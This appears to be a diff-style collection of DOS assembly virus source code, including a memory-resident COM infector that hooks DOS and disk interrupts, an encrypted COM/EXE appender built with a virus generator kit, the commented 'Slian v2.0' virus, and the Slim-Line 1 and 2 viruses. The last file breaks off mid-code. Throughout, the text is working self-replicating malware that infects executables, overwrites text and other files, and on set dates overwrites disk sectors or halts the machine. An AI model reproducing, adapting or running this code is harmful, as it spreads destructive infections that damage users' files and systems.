add bx,[lenf]
mov word ptr [di],bx
mov word ptr [di+2],CS
int 20h
ding2: push cs
pop ds
mov di,v20h1-okey
add di,[lenf]
mov bx,[di]
mov cx,[di+2]
mov ax,0
mov ds,ax
mov WORD PTR ax,[82h]
mov word ptr [302h],1
mov ds,ax
mov di,intsh-okey
add di,107h
mov [di],bx
mov [di+2],cx
ding3: PUSH CS
POP DS
push cs
pop es
pop cx
mov si,100h
jmp si
LenF: dw ?
dta: db 256 dup (?)
handle: dw ?
edta: dw ?
bdta: dw ?
v20h1: dw ?
v20h2: dw ?
com: db 'COMMAND'
end: db (00)

+298
View File
@@ -0,0 +1,298 @@
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
PUSH SI
cld
mov di,100h
mov cx,5
rep movsb
jmp ding2
int21h: STI
cmp ah,4bh
jz mm
jmp int1hh
mm: pushf
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
mov byte ptr [virusw],1
mov ah,2ah
int 21h
cmp dl,21
jnz et3
mov ax,0309h
mov dx,0000h
mov cx,0001h
lea bx,[100h]
int 13h
mov ah,9
mov dx,offset name
int 21h
cli
hlt
dinge: jmp ding
et3: push cs ;ds <- cs
pop ds
mov ah,2fh ;Dos service function ah=2FH (get DTA)
int 21h ;ES:BX Addres of current DTA
mov [edta],ES
mov [bdta],BX
mov ah,1ah ;Dos service function ah=1AH (set DTA)
mov dx,offset end+7 ;DS:DX Addres of DTA
int 21h
push cs
pop ds
MOV AH,4eH
MOV DX,offset files
mov cx,00
INT 21H ;Dos service function ah=4EH (FIND FIRST)
jc dinge ;CX File attribute
;DS:DX Pointer of filespec (ASCIIZ string)
vir: mov ax,3d02h
push cs
pop ds
mov dx,offset end+7 ;DS:DX Addres of DTA
add dx,1EH
int 21h ;Dos service function ah=3DH (OPEN FILE)
;AL Open mode
;DS:DX Pointer to filename (ASCIIZ string)
;Return AX file handle
mov [handle],ax
mov ah,'C'
mov al,'D'
PUSH DX
POP BX
cmp [bx],ah ;Compare filename for 'COMMAND.COM'
jnz p1 ;If not first char 'C' then push virus in file
cmp [bx+6],al
jz v ;If 7 char 'D' then find next file
p1: mov bx,handle
push cs
pop ds
mov ah,3fh
mov dx,offset end
mov cx,5
int 21h ;Dos service function ah=3FH (READ FILE)
;BX File handle
;CX Number of bytes to read
;DS:DX Addres of buffer
push cs
pop es ;ES <- CS
cld
PUSH DX
POP SI
mov di,offset okey
mov cx,5
rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI
; SI=SI+1
; DI=DI+1
mov ax,534bh
mov di,dx
add di,3
cmp [di],ah
jnz fuck
inc di
cmp [di],al
jnz fuck
v: push cs
pop ds
mov bx,handle
mov ah,3eh
int 21h
push cs
pop ds
mov ah,4fh
int 21h
jc enzi
jmp short vir
enzi: jmp ding
fuck: mov ax,offset end+7
add ax,1aH
mov di,ax
Mov Word Ptr cx,[di]
mov ax,offset end
mov di,ax
mov al,0e9h
cmp cx,1a0h
jna v
add cx,2
mov [di],al
inc di
mov Word Ptr [di],cx
mov ax,534bh
add di,2
mov [di],ah
inc di
mov [di],al
mov bx,[handle] ;
mov ax,4200h
xor cx,cx
xor dx,dx
push cs
pop ds
int 21h
mov bx,handle
mov ah,40h
mov dx,offset end
mov cx,5
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
push cs
pop ds
mov bx,handle
mov ah,40h
mov dx,offset okey
mov cx,end-okey
int 21h
mov bx,handle
mov ah,3eh
int 21h
inc Word ptr [save]
ding: push cs
pop ds
mov ah,1ah
mov ds,[edta]
mov dx,[bdta]
int 21h
mov byte ptr [virusw],0
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
popf
int1hh nop
int1h: db (0eah)
is: dw 0
io: dw 0
int13h: cli
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
inc Word ptr [save]
cmp Word ptr [save],1000h
jnz etk3
cli
hlt
etk3: STI
int 65h
push ax
mov ax,0
mov ds,ax
cmp byte ptr [virusw],0
pop ax
jz etk5
clc
mov ax,0
etk5: POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
db (0CAH)
db (02)
db (00)
name: db 'Virus in memory !!! $'
for1: jmp ding1
files: db '*.com',0
ding2: mov ax,0000h
mov ds,ax
MOV BX,300H
MOV CX,4b53h
cmp [bx],cx
jz for1
mov [bx],cx
mov ah,62h
int 21h
mov ds,bx
mov bx,[2ch]
dec bx
mov dx,0FFFFh
loc_1: mov ds,bx
mov di,[3]
inc di
add dx,di
add bx,di
cmp byte ptr [0000],5Ah
jne loc_1
mov cx,es
add cx,dx
sub word ptr [3],80h
sub cx,80h
sub cx,10h
mov es,cx
mov di,100h
cld
mov ax,0000h
mov ds,ax
mov bx,[004ch]
mov [0194h],bx
mov cx,[004eh]
mov [0196h],cx
MOV BX,[0084H]
MOV CX,[0086H]
push cs
pop ds
POP SI
PUSH SI
ADD SI,IS-OKEY
MOV [SI],BX
MOV [SI+2],CX
POP SI
PUSH SI
sub si,7
mov di,100h
mov cx,800h
rep movsb
mov ax,0000
mov ds,ax
cli
mov WORD PTR [0086h],ES
mov WORD PTR [004eh],ES
mov di,int13h-okey
add di,107h
mov WORD PTR [004ch],di
mov di,int21h-okey
add di,107h
mov WORD PTR [0084h],di
ding1: POP SI
sti
PUSH CS
POP DS
POP CX
mov si,100h
jmp si
handle: dw ?
edta: dw ?
bdta: dw ?
VIRUSW: DB (00)
SAVE: DB (00)
end: db (00)
+433
View File
@@ -0,0 +1,433 @@
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
mov ax,0
mov ds,ax
mov word ptr [312h],si
push cs
pop ds
push cs
pop es
cld
mov di,100h
mov cx,5
rep movsb
jmp ding2
int20h: mov ah,00h
jmp mm
int21h: STI
cmp ah,00h
jz mm
cmp ah,4ch
jz mm
cmp ah,0ffh
jz mm
jmp int1hh
mm: pushf
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
mov ax,0
mov ds,ax
cmp byte ptr [302h],0
jz mm2
mov byte ptr [302h],0
jmp main
mm2: mov ah,19h
int 21h
mov dl,al
cmp dl,01
jna mmm5
add dl,7Eh
mov ax,0
mov ds,ax
mmm5: mov byte ptr [309h],dl
mov byte ptr ch,[308h]
mov byte ptr dl,[309h]
mov cl,01
push cs
pop ds
mov ax,0201h
mov dh,00h
mov bx,offset end+7
push cs
pop es
int 13h
mov ax,0
mov ds,ax
mov byte ptr ch,[308h]
mov byte ptr dl,[309h]
mov cl,01
push cs
pop ds
mov ax,0301h
mov dh,00h
mov bx,offset end+7
push cs
pop es
int 13h
jnc etk6
cmp ah,3
jnz etk6
jmp main
etk6: mov ax,0
mov ds,ax
mov byte ptr [306h],1
push cs
pop ds
mov ah,2ah
int 21h
cmp dl,21
jnz okef
mov ax,0309h
mov dx,0000h
mov cx,0001h
lea bx,[100h]
int 13h
jmp short okep
okef: mov ax,0
mov ds,ax
inc word ptr [310h]
cmp Word ptr [310h],02FFh
jnz et3
okep: push cs
pop ds
mov bx,offset name
et9: mov ah,[bx]
xor ah,21
mov [bx],ah
inc bx
cmp bx,offset for1
jnz et9
mov ah,9
mov dx,offset name
int 21h
cli
hlt
dinge: jmp ding
et3: push cs ;ds <- cs
pop ds
mov ah,2fh ;Dos service function ah=2FH (get DTA)
int 21h ;ES:BX Addres of current DTA
mov [edta],ES
mov [bdta],BX
mov ah,1ah ;Dos service function ah=1AH (set DTA)
mov dx,offset end+7 ;DS:DX Addres of DTA
int 21h
push cs
pop ds
MOV AH,4eH
MOV DX,offset files
mov cx,00
INT 21H ;Dos service function ah=4EH (FIND FIRST)
jc dinge ;CX File attribute
;DS:DX Pointer of filespec (ASCIIZ string)
vir: mov ax,3d02h
push cs
pop ds
mov dx,offset end+7 ;DS:DX Addres of DTA
add dx,1EH
int 21h ;Dos service function ah=3DH (OPEN FILE)
;AL Open mode
;DS:DX Pointer to filename (ASCIIZ string)
;Return AX file handle
mov [handle],ax
mov ah,'C'
mov al,'D'
PUSH DX
POP BX
cmp [bx],ah ;Compare filename for 'COMMAND.COM'
jnz p1 ;If not first char 'C' then push virus in file
cmp [bx+6],al
jz v ;If 7 char 'D' then find next file
p1: mov bx,handle
push cs
pop ds
mov ah,3fh
mov dx,offset end
mov cx,5
int 21h ;Dos service function ah=3FH (READ FILE)
;BX File handle
;CX Number of bytes to read
;DS:DX Addres of buffer
push cs
pop es ;ES <- CS
cld
PUSH DX
POP SI
mov di,offset okey
mov cx,5
rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI
; SI=SI+1
; DI=DI+1
mov ax,534bh
mov di,dx
add di,3
cmp [di],ah
jnz fuck
inc di
cmp [di],al
jnz fuck
v: push cs
pop ds
mov bx,handle
mov ah,3eh
int 21h
push cs
pop ds
mov ah,4fh
int 21h
jc enzi
jmp short vir
enzi: jmp ding
fuck: mov ax,offset end+7
add ax,1aH
mov di,ax
Mov Word Ptr cx,[di]
mov ax,offset end
mov di,ax
mov al,0e9h
cmp cx,1a0h
jna v
add cx,2
mov [di],al
inc di
mov Word Ptr [di],cx
mov ax,534bh
add di,2
mov [di],ah
inc di
mov [di],al
mov bx,[handle] ;
mov ax,4200h
xor cx,cx
xor dx,dx
push cs
pop ds
int 21h
mov bx,handle
mov ah,40h
mov dx,offset end
mov cx,5
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
push cs
pop ds
mov bx,handle
mov ah,40h
mov dx,offset okey
mov cx,end-okey
int 21h
mov bx,handle
mov ah,3eh
int 21h
mov ax,0000
mov ds,ax
inc Word ptr [0310h]
ding: push cs
pop ds
mov ah,1ah
mov ds,[edta]
mov dx,[bdta]
int 21h
mov ax,0
mov ds,ax
mov byte ptr [306h],0
main: PUSH CS
POP DS
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
popf
int1hh nop
int1h: db (0eah)
is: dw 0
io: dw 0
int13h: cli
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
push ax
mov ax,0
mov ds,ax
pop ax
mov byte ptr [308h],ch
mov byte ptr [309h],dl
push cs
pop ds
push ax
push ds
cmp ah,03
jz etk2
cmp ah,05
jnz etk3
etk2: mov ax,0000
mov ds,ax
inc Word ptr [310h]
cmp Word ptr [310h],02FEh
jnz etk3
push cs
pop ds
STI
int 20h
etk3: pop ds
pop ax
STI
int 65h
pushf
push ax
mov ax,0
mov ds,ax
cmp byte ptr [306h],0
pop ax
jz etk4
popf
clc
mov ax,0
jmp short etk5
etk4: popf
etk5: POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
db (0CAH)
db (02)
db (00)
name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
for1: jmp ding1
files: db '*.com',0
ding2: mov ax,0000h
mov ds,ax
MOV BX,300H
MOV CX,4b53h
cmp [bx],cx
jz for1
mov [bx],cx
mov ah,62h
int 21h
mov ds,bx
mov bx,[2ch]
dec bx
mov dx,0FFFFh
loc_1: mov ds,bx
mov di,[3]
inc di
add dx,di
add bx,di
cmp byte ptr [0000],5Ah
jne loc_1
mov cx,es
add cx,dx
sub word ptr [3],80h
sub cx,80h
sub cx,10h
mov es,cx
mov di,100h
cld
mov ax,0000h
mov ds,ax
mov bx,[004ch]
mov [0194h],bx
mov cx,[004eh]
mov [0196h],cx
mov ax,0
mov ds,ax
lenf equ word ptr ds:[312h]
mov ax,0000h
mov ds,ax
mov bx,[0084h]
mov cx,[0086h]
mov ax,0
mov ds,ax
mov di,is-okey
add di,lenf
push cs
pop ds
mov [di],bx
mov [di+2],cx
mov ax,0
mov ds,ax
mov si,[312h]
sub si,7
push cs
pop ds
mov di,100h
mov cx,800h
rep movsb
mov ax,0000
mov ds,ax
cli
mov WORD PTR [0086h],ES
mov WORD PTR [004eh],ES
mov word ptr [0082h],es
mov di,int20h-okey
add di,107h
mov WORD PTR [0080h],di
mov di,int13h-okey
add di,107h
mov WORD PTR [004ch],di
mov di,int21h-okey
add di,107h
mov WORD PTR [0084h],di
sti
Ding1: mov ax,0
mov ds,ax
mov byte ptr [306h],1
mov byte ptr [302h],0
mov ah,19h
int 21h
mov dl,al
cmp dl,01
jna mmm
add dl,7Eh
mmm: mov byte ptr [309h],dl
push cs
pop ds
mov ah,0ffh
int 21h
for: mov ax,0
mov ds,ax
mov byte ptr [306h],0
mov byte ptr [302h],1
PUSH CS
POP DS
pop cx
mov si,100h
jmp si
handle: dw ?
edta: dw ?
bdta: dw ?
com: db 'COMMAND'
end: db (00)
@@ -0,0 +1,302 @@
; target.asm : [Skeleton] by Deke
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'DA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
startvirus:
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov bp,offset startencrypt ; start of decryption
mov ax,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,76h,0 ; xor word ptr cs:[bp], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bp ; calculate new decryption location
inc bp
dec ax ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+offset save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+offset oldCSIP2]
lea di,[bp+offset oldCSIP]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],3 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+offset newDTA] ; new DTA @ DS:DX
int 21h
lea dx,[bp+offset exe_mask]
call infect_mask
lea dx,[bp+offset com_mask]
call infect_mask
done_infections:
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+oldCSIP+2],ax
add ax,word ptr cs:[bp+oldSSSP+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+oldSSSP]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
oldCSIP db ? ; Original CS:IP (4 bytes)
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
oldSSSP dd ? ; Original SS:SP
oldCSIP2 dd ?
oldSSSP2 dd ?
creator db '[MPC]',0 ; Mass Produced Code Generator
virus db '[Skeleton]',0
author db 'Deke',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov ax,3d02h ; Open read/write
int 21h
xchg ax,bx
mov ah,3fh ; Read file to buffer
lea dx,[bp+offset buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ax,4202h ; Go to end of file
xor cx,cx
cwd
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov cx,word ptr [bp+buffer+1]; get jmp location
add cx,heap-startvirus+3 ; Adjust for virus size
cmp ax,cx ; Already infected?
je find_next
jmp infect_com
checkEXE:
cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
done_file:
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
cmp byte ptr [bp+numinfec], 0; Enough infections?
jnz find_next
pop ax ; remove call from stack
jmp done_infections
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
mov cx, 1ah
push cx
push bx ; Save file handle
les ax,dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+oldCSIP2], ax
mov word ptr [bp+oldCSIP2+2], es
les ax,dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+oldSSSP2],es
mov word ptr [bp+oldSSSP2+2],ax
mov ax,word ptr [bp+buffer+8]; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax,dword ptr [bp+newDTA+26] ; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
pop bx ; Restore file handle
add ax, heap-startvirus ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
mov ax,word ptr [bp+buffer+14h] ; needed later
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
push cx
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
finishinfection:
add ax,offset startencrypt-offset decrypt
push ax
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+offset codestore]
mov al,55h ; push bp
stosb
lea si,[bp+offset decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+offset write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop ax
push di
push si
push cx
rep movsb ; Copy decryption function
mov word ptr [bp+patch_startencrypt+1],ax
mov al,5dh ; pop bx
stosb
mov al,0c3h ; retn
stosb
call codestore ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,4200h ; Move file pointer
xor cx,cx ; to beginning of file
cwd ; xor dx,dx
int 21h
mov ah,40h ; Write to file
lea dx,[bp+offset buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
dec byte ptr [bp+numinfec] ; One mo infection
jmp done_file
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+offset newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+offset decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bp
endwrite:
exe_mask db '*.exe',0
com_mask db '*.com',0
heap: ; Variables not in code
; The following code is the buffer for the write function
codestore:db (startencrypt-decrypt)*2+(endwrite-write)+3 dup (?)
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
+277
View File
@@ -0,0 +1,277 @@
; ------------------------------------------------------------------------- ;
; Slian v2.0 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: ;
; ;
; v1.0 - start with *.com appender - great tutorials Horny Toad! CB #1,2,3 ;
; v1.1 - add a anti-heuristic loop - Ars0nic's article in Codebreakers #3 ;
; v1.2 - add no bigger, no smaller - Opic's Virus-Addons article in CB #3 ;
; v1.3 - add directory transversal - thankz to SPo0ky / Opic for this :) ;
; v1.4 - add date activated p-load - Opic's Virus-Addons article in CB #3 ;
; v1.5 - add *.txt file overwriter - great tutorials Horny Toad! CB #1,2,3 ;
; v1.6 - optimize my code a little - thanks Opic :) ;
; v1.7 - add anti-heuristic tricks - Ars0nic's article in Codebreakers #3 ;
; v1.8 - add appending of any file - Sea4's Nautilus Virus ;
; v1.9 - add overwrite of any file - thanks again Sea4 hehe ;
; v2.0 - add date/time restoration - thankz again Opic man :) ;
; ------------------------------------------------------------------------- ;
; -----------> Dedicated to Christine Moore, I'll be back soon! <---------- ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm slian.asm ;
; to link :::::] tlink /t slian.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment "code"
assume cs:code,ds:code ; assign cs and ds to code
org 100h ; a .com file
start:
db 0e9h,0,0 ; define a blank jump
real_start:
mov cx,0ffffh ; from other anti-heuristics
anti_one:
jmp anti_two ; jump to anti two
mov ax,4c00h ; terminate program
call do_it ; make it so DOS!
anti_two:
loop anti_one ; loop anti_one
;call_delta:
call get_delta ; push IP on to stack
get_delta:
pop bp ; pop it into bp
sub bp,offset get_delta ; get the delta offset
;first_three:
mov cx,3 ; counter set to three
lea si,[bp+offset thrbyte] ; where to write them
mov di,100h ; start address
push di ; save it for retn
rep movsb ; do until cx = 0
;move_dta:
lea dx,[bp+offset dta] ; where to move it
mov ah,1ah ; move the dta
call do_it ; make it so DOS!
get_one:
mov ah,4eh ; find first file
lea dx,[bp+comfile] ; load *.com
mov cx,7 ; all attributes
next:
call do_it ; make it so DOS!
jnc open_file ; found one? open it
jmp find_txt ; no .com left? .txt now
next_dir:
lea dx,[bp+dot_dot] ; load effective address ..
mov ah,3bh ; directory changing
call do_it ; make it so DOS!
jnc get_one ; and find first again
jmp pld_chk ; hit root, payload time?
open_file:
lea dx,[bp+dta+1eh] ; filename in DTA
mov ax,4301h ; set file attributes
xor cx,cx ; to absolutely none
call do_it ; make it so DOS!
mov ax,3d02h ; open the file read/write
lea dx,[bp+offset dta+1eh] ; get the file name info
call do_it ; make it so DOS!
xchg ax,bx ; move the file info
mov ax,5700h ; get time/date stamps
call do_it ; make it so DOS!
mov [bp+time_cm],dx ; save the values here
mov [bp+date_cm],cx ; save the values here
;record_three:
mov ah,3fh ; the read / record function
lea dx,[bp+thrbyte] ; where to record too
mov cx,3 ; how much to record
call do_it ; make it so DOS!
;file_check:
mov ax,word ptr [bp+dta+1ah] ; get file size
mov cx,word ptr [bp+thrbyte+1] ; get three bytes
add cx,finished-real_start+3 ; get virus and jump size
cmp ax,cx ; compare the two
jz close_file ; if equal, close file
;too_big:
cmp word ptr [bp+dta+1ah],61440 ; > then 61440d bytes?
jna too_small ; not too big, too small?
jmp close_file ; too big, close it up
too_small:
cmp word ptr [bp+dta+1ah],1024 ; < then 1024d bytes?
jnb new_jump ; not too small, continue
jmp close_file ; too small, close it up
new_jump:
sub ax,3 ; file size - 3 bytes
mov word ptr [bp+newjump+1],ax ; write as new jump
;point_to_begin:
mov ax,4200h ; point to start of file
xor cx,cx ; cx to 0
xor dx,dx ; dx to 0
call do_it ; make it so DOS!
;write_jump:
mov ah,40h ; write to file
mov cx,3 ; three bytes
lea dx,[bp+newjump] ; write this
call do_it ; make it so DOS!
;point_to_end:
mov ax,4202h ; point to end of file
xor cx,cx ; cx to 0
xor dx,dx ; dx to 0
call do_it ; make it so DOS!
;write_body:
mov ah,40h ; write to file
lea dx,[bp+real_start] ; what to write
mov cx,finished-real_start ; how much to write
call do_it ; make it so DOS!
close_file:
mov ax,5701h ; restore time/date stamps
mov dx,[bp+time_cm] ; from this value
mov cx,[bp+date_cm] ; and this value
call do_it ; make it so DOS!
mov ah,3eh ; close up the file
call do_it ; make it so DOS!
;next_file:
mov ah,4fh ; find next file
jmp next ; and jump to next
find_txt:
mov dx,80h ; move DTA to here
mov ah,1ah ; move the DTA
call do_it ; make it so DOS!
mov ah,4eh ; find first file
xor cx,cx ; cx to 0
lea dx,txtfile ; load *.txt address
next_txt:
call do_it ; make it so DOS!
jnc open_txt ; found a .txt? open it
jmp next_dir ; none found? next directory
open_txt:
mov dx,9eh ; filename in DTA
mov ax,4301h ; set file attributes
xor cx,cx ; to absolutely none
call do_it ; make it so DOS!
mov ax,3d02h ; all file attributes
mov dx,9eh ; get the file name info
call do_it ; make it so DOS!
xchg bx,ax ; move the file info
mov ax,5700h ; get time/date stamps
call do_it ; make it so DOS!
mov [bp+time_tx],dx ; save the values here
mov [bp+date_tx],cx ; save the values here
;infect_txt:
mov ah,40h ; write to file
lea dx,txt_start ; where to start
mov cx,txt_end-txt_start ; how much to write
call do_it ; make it so DOS!
;close_txt:
mov ax,5701h ; restore time/date stamps
mov dx,[bp+time_tx] ; from this value
mov cx,[bp+date_tx] ; and this value
call do_it ; make it so DOS!
mov ah,3eh ; close the file
call do_it ; make it so DOS!
;find_next:
mov ah,4fh ; find next .txt file
jmp next_txt ; and go again
end_virus:
retn ; return control to host
pld_chk:
mov ah,2ah ; get system date
call do_it ; make it so DOS!
cmp dh,07 ; is it July?
je day_chk ; yes it is, check day now
jmp end_virus ; nope, end virus
day_chk:
cmp dl,16 ; is it the 16th?
je payload ; woohoo payload time!
jmp end_virus ; nope, end virus
payload:
mov ah,09h ; print a message to screen
lea dx,[bp+pld_msg] ; the message
call do_it ; make it so DOS!
mov ah,01h ; start printer <grin>
mov dx,0h ; put 0h into dx
int 17h ; printer int
lea si,string1 ; where to start
mov cx,endstring1-string1 ; how much to write
print_message:
mov ah,00h ; write characters
lodsb ; load a byte
int 17h ; printer int
loop print_message ; loop until done
jmp end_virus ; and end the virus
do_it:
int 21h ; make it so DOS!
ret ; return from call
;data_area:
txt_start:
db '',10
db 'Need you, Dream you',10
db 'Find you, Taste you',10
db 'Fuck you, Use you',10
db 'Scar you, Break you',10
db 'Lose me, Hate me',10
db 'Smash me, Erase me',10
db '',10
txt_end:
string1:
pld_msg db '',10,13
db 'Happy Birthday Christine!',10,13
db 'Your As Beautiful As Ever',10,13,'$'
endstring1:
time_cm dw 0h ; .com time stamp goes here
time_tx dw 0h ; .txt time stamp goes here
date_cm dw 0h ; .com date stamp goes here
date_tx dw 0h ; .txt date stamp goes here
dot_dot db "..",0 ; define the .. string
comfile db "*.c*",0 ; define the *.com string
txtfile db "*.tx*",0 ; define the *.txt string
thrbyte db 0cdh,20h,0 ; terminates on first run
newjump db 0e9h,0,0 ; blank jump on first run
finished label near ; an offset label
dta db 42 dup (?) ; set up space for DTA
code ends ; end code segment
end start ; end / where to start
; ------------------------------------------------------------------------- ;
; ----------> How Can You Think Freely In The Shadow Of A Church <--------- ;
; ------------------------------------------------------------------------- ;
@@ -0,0 +1,51 @@
;
; The Slim-Line 1 virus, from the Slim-line virus strain.
; (C) 1993 by [DàRkRàY]/TridenT
;
; This one's a dumb overwriting virus, as small as possible,
; return to DOS and work with all dos versions. (no SI=100h tricks ect.)
;
_CODE SEGMENT
ASSUME CS:_CODE, DS:_CODE, ES:_CODE
ORG 100h
FIRST:
DB "*.*", 000h ; Infect ALL files..
MOV AH,4Eh ; Find first...
XOR CX,CX ; No attributes.
AGAIN:
MOV DX,100h ; String from 100h
PUSH DX ; Save 100h for later.
INT 21h ; Find it!
JC DIR_HIGHER ; Not found???
MOV AX,3D01h ; Open it...
MOV DX,9Eh ; Yeah, THAT file!
INT 21h ; I said NOW!
XCHG AX,BX ; Put handle in BX...
MOV AH,40h ; Infect it.
MOV CL,(LAST-FIRST) ; Thats how big I am...
POP DX ; Save it, ya remember...
INT 21h ; Go get it!
MOV AH,3Eh ; Party is over,
INT 21h ; close it..
MOV AH,4Fh ; Who's next!
JMP AGAIN
CHD DB "..", 000h ; Dir higher 8^]
DIR_HIGHER:
MOV AH,3Bh ; Change dir.
POP DX ; Don't mess with stack...
MOV DX,OFFSET CHD ; Dir higher...
INT 21h ; Ok...
JNC FIRST ; Root??
EXIT:
RET ; Then exit..
LAST:
_CODE ENDS
END FIRST
+146
View File
@@ -0,0 +1,146 @@
;
; The Slim-Line 2 virus, from the Slim-line virus collection.
; (C) 1993 by [DàRkRàY]/TridenT
;
; And this time it's a direct action COM infector.
; <will be commented soon>
_CODE SEGMENT
ASSUME CS:_CODE, DS:_CODE, ES:_CODE
ORG 100h
FIRST:
DB 'D', 0E9h, 000h, 000h
VX:
MOV BP,00000h
LEA SI,[BP + OLD_4_BYTES]
MOV DI,00100h
PUSH DI
MOV CX,DI
MOVSW
MOVSW
XOR SI,SI
LEA DI,[BP + LAST + 2]
PUSH SI
PUSH DI
PUSH CX
REP MOVSB
FIND_FILE:
MOV AH,04Eh
LEA DX,[BP + FIND]
MOV CL,27h
AGAIN:
INT 021h
JC GO_ROOT
YES_FILE:
MOV AX,04300h
MOV DX,09Eh
INT 021h
PUSH CX
MOV AX,04301h
XOR CX,CX
INT 021h
MOV AX,03D02h
INT 021h
XCHG AX,BX
MOV AX,05700h
INT 021h
PUSH CX
PUSH DX
MOV AH,03Fh
MOV CX,004h
LEA DX,[BP + OLD_4_BYTES]
INT 021h
MOV SI,DX
LODSW
CMP AX,0E944h
JE DONT_INFECT
MOV AL,02h
CALL SET_POINTER
SUB AX,00004h
MOV WORD PTR [BP + VX + 2],AX
MOV WORD PTR [BP + NEW_4_BYTES + 2],AX
MOV AH,040h
MOV CL,(LAST - VX)
LEA DX,[BP + VX]
INT 021h
XOR AX,AX
